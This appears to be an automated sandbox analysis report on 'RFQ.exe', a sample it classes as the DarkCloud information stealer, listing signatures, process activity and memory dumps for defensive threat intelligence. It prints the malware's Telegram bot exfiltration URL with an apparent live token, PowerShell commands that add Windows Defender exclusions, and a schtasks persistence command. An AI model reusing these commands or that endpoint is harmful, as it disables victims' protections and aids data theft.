Analysis
- max time kernel
144s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20250217-en - resource tags
- submitted
11/03/2025, 14:32
General
- Target RFQ.exe
- Size 881KB
- Sample250311-rwbtnsvpt9
- SHA256 aa653ad0d107b2d7ab98d4ede0eef147b73fbd7eb2f522f0bf608f833daebe34
Malware Config
Extracted
-
darkcloud
-
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666
Signatures
- DarkCloud
An information stealer written in Visual Basic.
- Darkcloud family
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\RFQ.exe"C:\Users\Admin\AppData\Local\Temp\RFQ.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\RFQ.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wOPQRmK.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\Admin\AppData\Local\Temp\tmpCA26.tmp"2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
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C:\Users\Admin\AppData\Local\Temp\RFQ.exe"C:\Users\Admin\AppData\Local\Temp\RFQ.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_sxqiktaa.4lm.ps1
tmpCA26.tmp
memory/828-7-0x0000000005C00000-0x0000000005C10000-memory.dmp
memory/828-4-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/828-6-0x0000000005C30000-0x0000000005CCC000-memory.dmp
memory/828-45-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/828-8-0x000000007468E000-0x000000007468F000-memory.dmp
memory/828-9-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/828-10-0x0000000006D40000-0x0000000006DFC000-memory.dmp
memory/828-5-0x0000000005950000-0x000000000595A000-memory.dmp
memory/828-0-0x000000007468E000-0x000000007468F000-memory.dmp
memory/828-2-0x0000000005F40000-0x00000000064E4000-memory.dmp
memory/828-1-0x0000000000E80000-0x0000000000F62000-memory.dmp
memory/828-3-0x0000000005990000-0x0000000005A22000-memory.dmp
memory/3124-26-0x0000000000400000-0x0000000000472000-memory.dmp
memory/3124-94-0x0000000000400000-0x0000000000472000-memory.dmp
memory/3124-28-0x0000000000400000-0x0000000000472000-memory.dmp
memory/4808-21-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4808-80-0x00000000072B0000-0x00000000072BA000-memory.dmp
memory/4808-78-0x0000000007880000-0x0000000007EFA000-memory.dmp
memory/4808-29-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4808-68-0x0000000006F00000-0x0000000006FA3000-memory.dmp
memory/4808-84-0x0000000007480000-0x0000000007494000-memory.dmp
memory/4808-23-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4808-92-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4808-55-0x0000000006E90000-0x0000000006EC2000-memory.dmp
memory/4808-66-0x0000000006ED0000-0x0000000006EEE000-memory.dmp
memory/4808-56-0x000000006F3D0000-0x000000006F41C000-memory.dmp
memory/4884-16-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4884-44-0x0000000006890000-0x00000000068DC000-memory.dmp
memory/4884-41-0x0000000006310000-0x000000000632E000-memory.dmp
memory/4884-31-0x0000000005D10000-0x0000000006064000-memory.dmp
memory/4884-67-0x000000006F3D0000-0x000000006F41C000-memory.dmp
memory/4884-22-0x0000000005300000-0x0000000005322000-memory.dmp
memory/4884-79-0x0000000007650000-0x000000000766A000-memory.dmp
memory/4884-24-0x0000000005520000-0x0000000005586000-memory.dmp
memory/4884-81-0x00000000078D0000-0x0000000007966000-memory.dmp
memory/4884-82-0x0000000007850000-0x0000000007861000-memory.dmp
memory/4884-83-0x0000000007880000-0x000000000788E000-memory.dmp
memory/4884-25-0x0000000005CA0000-0x0000000005D06000-memory.dmp
memory/4884-85-0x0000000007990000-0x00000000079AA000-memory.dmp
memory/4884-86-0x0000000007970000-0x0000000007978000-memory.dmp
memory/4884-19-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4884-18-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4884-93-0x0000000074680000-0x0000000074E30000-memory.dmp
memory/4884-17-0x00000000055C0000-0x0000000005BE8000-memory.dmp
memory/4884-15-0x0000000002990000-0x00000000029C6000-memory.dmp